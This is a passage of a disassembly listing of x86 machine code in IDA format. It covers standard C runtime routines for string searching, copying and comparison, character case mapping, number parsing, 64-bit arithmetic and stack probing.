		js	short loc_48D5DE
		mov	edi, [ebx+8]
		push	ebx
		call	sub_48D454
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_48D496
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_48D52A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_48D5D3:				; CODE XREF: sub_48D54C+40j
					; sub_48D54C+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_48D57F
; ---------------------------------------------------------------------------

loc_48D5DE:				; CODE XREF: sub_48D54C+54j
		mov	eax, 0
		jmp	short loc_48D601
; ---------------------------------------------------------------------------

loc_48D5E5:				; CODE XREF: sub_48D54C+36j
		mov	eax, 1
		jmp	short loc_48D601
; ---------------------------------------------------------------------------

loc_48D5EC:				; CODE XREF: sub_48D54C+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_48D496
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_48D601:				; CODE XREF: sub_48D54C+97j
					; sub_48D54C+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_48D54C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_48D496
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48D640

loc_48D630:				; CODE XREF: sub_48D640+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_48D640
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_48D640	proc near		; CODE XREF: sub_490166+2Ap
					; sub_499A16+AFp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0048D630 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_48D66B

loc_48D658:				; CODE XREF: sub_48D640+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_48D630
		test	cl, cl
		jz	short loc_48D6B4
		test	edx, 3
		jnz	short loc_48D658

loc_48D66B:				; CODE XREF: sub_48D640+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_48D676:				; CODE XREF: sub_48D640+61j
					; sub_48D640+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_48D6B8
		and	eax, 81010100h
		jz	short loc_48D676
		and	eax, 1010100h
		jnz	short loc_48D6B2
		and	esi, 80000000h
		jnz	short loc_48D676

loc_48D6B2:				; CODE XREF: sub_48D640+68j
					; sub_48D640+81j ...
		pop	esi
		pop	edi

loc_48D6B4:				; CODE XREF: sub_48D640+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_48D6B8:				; CODE XREF: sub_48D640+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_48D6F5
		test	al, al
		jz	short loc_48D6B2
		cmp	ah, bl
		jz	short loc_48D6EE
		test	ah, ah
		jz	short loc_48D6B2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_48D6E7
		test	al, al
		jz	short loc_48D6B2
		cmp	ah, bl
		jz	short loc_48D6E0
		test	ah, ah
		jz	short loc_48D6B2
		jmp	short loc_48D676
; ---------------------------------------------------------------------------

loc_48D6E0:				; CODE XREF: sub_48D640+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_48D6E7:				; CODE XREF: sub_48D640+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_48D6EE:				; CODE XREF: sub_48D640+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_48D6F5:				; CODE XREF: sub_48D640+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_48D640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D700	proc near		; CODE XREF: sub_490252+FBp
					; sub_493DD0+161p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_48D721
		xor	eax, eax
		jmp	short loc_48D723
; ---------------------------------------------------------------------------

loc_48D721:				; CODE XREF: sub_48D700+1Bj
		mov	eax, edi

loc_48D723:				; CODE XREF: sub_48D700+1Fj
		cld
		pop	edi
		leave
		retn
sub_48D700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D730	proc near		; CODE XREF: sub_49253F+5Ep
					; sub_49253F+1ABp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_48D761
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_48D75F
		jz	short loc_48D761
		dec	ecx
		dec	ecx

loc_48D75F:				; CODE XREF: sub_48D730+29j
		not	ecx

loc_48D761:				; CODE XREF: sub_48D730+9j
					; sub_48D730+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_48D730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_48D770	proc near		; CODE XREF: sub_492CC4+1AFp
					; sub_492CC4+434p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_48D7F3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_48D794
		shr	ecx, 2
		jnz	short loc_48D801
		jmp	short loc_48D7B5
; ---------------------------------------------------------------------------

loc_48D794:				; CODE XREF: sub_48D770+1Bj
					; sub_48D770+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_48D7C2
		test	al, al
		jz	short loc_48D7CA
		test	esi, 3
		jnz	short loc_48D794
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_48D801

loc_48D7B0:				; CODE XREF: sub_48D770+8Fj
		and	ebx, 3
		jz	short loc_48D7C2

loc_48D7B5:				; CODE XREF: sub_48D770+22j
					; sub_48D770+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_48D7EE
		dec	ebx
		jnz	short loc_48D7B5

loc_48D7C2:				; CODE XREF: sub_48D770+2Bj
					; sub_48D770+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_48D7CA:				; CODE XREF: sub_48D770+2Fj
		test	edi, 3
		jz	short loc_48D7E4

loc_48D7D2:				; CODE XREF: sub_48D770+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_48D866
		test	edi, 3
		jnz	short loc_48D7D2

loc_48D7E4:				; CODE XREF: sub_48D770+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_48D857

loc_48D7EB:				; CODE XREF: sub_48D770+7Fj
					; sub_48D770+F4j
		mov	[edi], al
		inc	edi

loc_48D7EE:				; CODE XREF: sub_48D770+4Dj
		dec	ebx
		jnz	short loc_48D7EB
		pop	ebx
		pop	esi

loc_48D7F3:				; CODE XREF: sub_48D770+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_48D7F9:				; CODE XREF: sub_48D770+A9j
					; sub_48D770+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_48D7B0

loc_48D801:				; CODE XREF: sub_48D770+20j
					; sub_48D770+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_48D7F9
		test	dl, dl
		jz	short loc_48D84B
		test	dh, dh
		jz	short loc_48D841
		test	edx, 0FF0000h
		jz	short loc_48D837
		test	edx, 0FF000000h
		jnz	short loc_48D7F9
		mov	[edi], edx
		jmp	short loc_48D84F
; ---------------------------------------------------------------------------

loc_48D837:				; CODE XREF: sub_48D770+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_48D84F
; ---------------------------------------------------------------------------

loc_48D841:				; CODE XREF: sub_48D770+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_48D84F
; ---------------------------------------------------------------------------

loc_48D84B:				; CODE XREF: sub_48D770+ADj
		xor	edx, edx
		mov	[edi], edx

loc_48D84F:				; CODE XREF: sub_48D770+C5j
					; sub_48D770+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_48D861

loc_48D857:				; CODE XREF: sub_48D770+79j
		xor	eax, eax

loc_48D859:				; CODE XREF: sub_48D770+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_48D859

loc_48D861:				; CODE XREF: sub_48D770+E5j
		and	ebx, 3
		jnz	short loc_48D7EB

loc_48D866:				; CODE XREF: sub_48D770+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_48D770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D86E	proc near		; CODE XREF: sub_48D0D6+24p
					; sub_48D0D6+2Fp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4A70F4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_48D89B
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_48D934
		cmp	eax, 5Ah
		jg	loc_48D934
		add	eax, 20h
		jmp	loc_48D934
; ---------------------------------------------------------------------------

loc_48D89B:				; CODE XREF: sub_48D86E+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_48D8CF
		cmp	ds:dword_4A265C, esi
		jle	short loc_48D8BD
		push	esi
		push	ebx
		call	sub_48DCCF
		pop	ecx
		pop	ecx
		jmp	short loc_48D8C7
; ---------------------------------------------------------------------------

loc_48D8BD:				; CODE XREF: sub_48D86E+42j
		mov	eax, ds:off_4A2450
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_48D8C7:				; CODE XREF: sub_48D86E+4Dj
		test	eax, eax
		jnz	short loc_48D8CF

loc_48D8CB:				; CODE XREF: sub_48D86E+ADj
		mov	eax, ebx
		jmp	short loc_48D934
; ---------------------------------------------------------------------------

loc_48D8CF:				; CODE XREF: sub_48D86E+3Aj
					; sub_48D86E+5Bj
		mov	edx, ds:off_4A2450
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_48D8F3
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_48D8FC
; ---------------------------------------------------------------------------

loc_48D8F3:				; CODE XREF: sub_48D86E+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_48D8FC:				; CODE XREF: sub_48D86E+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4A70F4
		call	sub_48DA80
		add	esp, 20h
		test	eax, eax
		jz	short loc_48D8CB
		cmp	eax, esi
		jnz	short loc_48D927
		movzx	eax, [ebp+var_4]
		jmp	short loc_48D934
; ---------------------------------------------------------------------------

loc_48D927:				; CODE XREF: sub_48D86E+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_48D934:				; CODE XREF: sub_48D86E+16j
					; sub_48D86E+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_48D86E	endp

; ---------------------------------------------------------------------------
		align 10h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+14h]
		or	eax, eax
		jge	short loc_48D961
		inc	edi
		mov	edx, [esp+10h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+14h], eax
		mov	[esp+10h], edx

loc_48D961:				; CODE XREF: _4:0048D94Bj
		mov	eax, [esp+1Ch]
		or	eax, eax
		jge	short loc_48D97D
		inc	edi
		mov	edx, [esp+18h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+1Ch], eax
		mov	[esp+18h], edx

loc_48D97D:				; CODE XREF: _4:0048D967j
		or	eax, eax
		jnz	short loc_48D999
		mov	ecx, [esp+18h]
		mov	eax, [esp+14h]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+10h]
		div	ecx
		mov	edx, ebx
		jmp	short loc_48D9DA
; ---------------------------------------------------------------------------

loc_48D999:				; CODE XREF: _4:0048D97Fj
		mov	ebx, eax
		mov	ecx, [esp+18h]
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]

loc_48D9A7:				; CODE XREF: _4:0048D9B1j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_48D9A7
		div	ecx
		mov	esi, eax
		mul	dword ptr [esp+1Ch]
		mov	ecx, eax
		mov	eax, [esp+18h]
		mul	esi
		add	edx, ecx
		jb	short loc_48D9D5
		cmp	edx, [esp+14h]
		ja	short loc_48D9D5
		jb	short loc_48D9D6
		cmp	eax, [esp+10h]
		jbe	short loc_48D9D6

loc_48D9D5:				; CODE XREF: _4:0048D9C5j _4:0048D9CBj
		dec	esi

loc_48D9D6:				; CODE XREF: _4:0048D9CDj _4:0048D9D3j
		xor	edx, edx
		mov	eax, esi

loc_48D9DA:				; CODE XREF: _4:0048D997j
		dec	edi
		jnz	short loc_48D9E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_48D9E4:				; CODE XREF: _4:0048D9DBj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_48D9EA	proc near		; CODE XREF: sub_48DA75+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_48D9F2:				; CODE XREF: sub_48D9EA+34j
		cmp	ds:dword_4A265C, 1
		jle	short loc_48DA0A
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_48DCCF
		pop	ecx
		pop	ecx
		jmp	short loc_48DA19
; ---------------------------------------------------------------------------

loc_48DA0A:				; CODE XREF: sub_48D9EA+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_4A2450
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_48DA19:				; CODE XREF: sub_48D9EA+1Ej
		test	eax, eax
		jz	short loc_48DA20
		inc	edi
		jmp	short loc_48D9F2
; ---------------------------------------------------------------------------

loc_48DA20:				; CODE XREF: sub_48D9EA+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_48DA30
		cmp	esi, 2Bh
		jnz	short loc_48DA34

loc_48DA30:				; CODE XREF: sub_48D9EA+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_48DA34:				; CODE XREF: sub_48D9EA+44j
		xor	ebx, ebx

loc_48DA36:				; CODE XREF: sub_48D9EA+7Bj
		cmp	ds:dword_4A265C, 1
		jle	short loc_48DA4B
		push	4
		push	esi
		call	sub_48DCCF
		pop	ecx
		pop	ecx
		jmp	short loc_48DA56
; ---------------------------------------------------------------------------

loc_48DA4B:				; CODE XREF: sub_48D9EA+53j
		mov	eax, ds:off_4A2450
		mov	al, [eax+esi*2]
		and	eax, 4

loc_48DA56:				; CODE XREF: sub_48D9EA+5Fj
		test	eax, eax
		jz	short loc_48DA67
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_48DA36
; ---------------------------------------------------------------------------

loc_48DA67:				; CODE XREF: sub_48D9EA+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_48DA70
		neg	eax

loc_48DA70:				; CODE XREF: sub_48D9EA+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_48D9EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_48DA75	proc near		; CODE XREF: sub_49BD0C+5Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_48D9EA
		pop	ecx
		retn
sub_48DA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DA80	proc near		; CODE XREF: sub_48D86E+A3p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FB08
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_4A70E8, edi
		jnz	short loc_48DAF6
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_49FB00
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_49F034	; LCMapStringW
		test	eax, eax
		jz	short loc_48DAD4
		mov	ds:dword_4A70E8, ebx
		jmp	short loc_48DAF6
; ---------------------------------------------------------------------------

loc_48DAD4:				; CODE XREF: sub_48DA80+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_49FAFC
		push	esi
		push	edi
		call	ds:dword_49F038	; LCMapStringA
		test	eax, eax
		jz	loc_48DC0E
		mov	ds:dword_4A70E8, 2

loc_48DAF6:				; CODE XREF: sub_48DA80+2Ej
					; sub_48DA80+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_48DB0B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_48DCA4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_48DB0B:				; CODE XREF: sub_48DA80+79j
		mov	eax, ds:dword_4A70E8
		cmp	eax, 2
		jnz	short loc_48DB32
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F038	; LCMapStringA
		jmp	loc_48DC10
; ---------------------------------------------------------------------------

loc_48DB32:				; CODE XREF: sub_48DA80+93j
		cmp	eax, 1
		jnz	loc_48DC0E
		cmp	[ebp+arg_18], edi
		jnz	short loc_48DB48
		mov	eax, ds:dword_4A7104
		mov	[ebp+arg_18], eax

loc_48DB48:				; CODE XREF: sub_48DA80+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_49F044	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_48DC0E
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_48DD90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_48DBA3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_48DBA3:				; CODE XREF: sub_48DA80+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_48DC0E
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_49F044	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_48DC0E
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F034	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_48DC0E
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_48DC22
		cmp	[ebp+arg_14], edi
		jz	loc_48DC9D
		cmp	esi, [ebp+arg_14]
		jg	short loc_48DC0E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F034	; LCMapStringW
		test	eax, eax
		jnz	loc_48DC9D

loc_48DC0E:				; CODE XREF: sub_48DA80+66j
					; sub_48DA80+B5j ...
		xor	eax, eax

loc_48DC10:				; CODE XREF: sub_48DA80+ADj
					; sub_48DA80+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_48DC22:				; CODE XREF: sub_48DA80+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_48DD90
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_48DC56
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_48DC56:				; CODE XREF: sub_48DA80+1C2j
		cmp	ebx, edi
		jz	short loc_48DC0E
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_49F034	; LCMapStringW
		test	eax, eax
		jz	short loc_48DC0E
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_48DC7D
		push	edi
		push	edi
		jmp	short loc_48DC83
; ---------------------------------------------------------------------------

loc_48DC7D:				; CODE XREF: sub_48DA80+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_48DC83:				; CODE XREF: sub_48DA80+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_49F040	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_48DC0E

loc_48DC9D:				; CODE XREF: sub_48DA80+165j
					; sub_48DA80+188j
		mov	eax, esi
		jmp	loc_48DC10
sub_48DA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_48DCA4	proc near		; CODE XREF: sub_48DA80+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_48DCC1

loc_48DCB4:				; CODE XREF: sub_48DCA4+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_48DCC1
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_48DCB4

loc_48DCC1:				; CODE XREF: sub_48DCA4+Ej
					; sub_48DCA4+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_48DCCC
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_48DCCC:				; CODE XREF: sub_48DCA4+21j
		mov	eax, edx
		retn
sub_48DCA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DCCF	proc near		; CODE XREF: sub_48D86E+46p
					; sub_48D9EA+17p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_48DCED
		mov	ecx, ds:off_4A2450
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_48DD3F
; ---------------------------------------------------------------------------

loc_48DCED:				; CODE XREF: sub_48DCCF+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_4A2450
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_48DD12
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_48DD1B
; ---------------------------------------------------------------------------

loc_48DD12:				; CODE XREF: sub_48DCCF+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_48DD1B:				; CODE XREF: sub_48DCCF+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_48DDBF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_48DD3B
		leave
		retn
; ---------------------------------------------------------------------------

loc_48DD3B:				; CODE XREF: sub_48DCCF+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_48DD3F:				; CODE XREF: sub_48DCCF+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_48DCCF	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_48DD69
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_48DD69:				; CODE XREF: _4:0048DD5Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_48DD90	proc near		; CODE XREF: sub_48DA80+FDp
					; sub_48DA80+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_48DDB0

loc_48DD9C:				; CODE XREF: sub_48DD90+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_48DD9C

loc_48DDB0:				; CODE XREF: sub_48DD90+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_48DD90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DDBF	proc near		; CODE XREF: sub_48DCCF+5Ep

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FB20
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
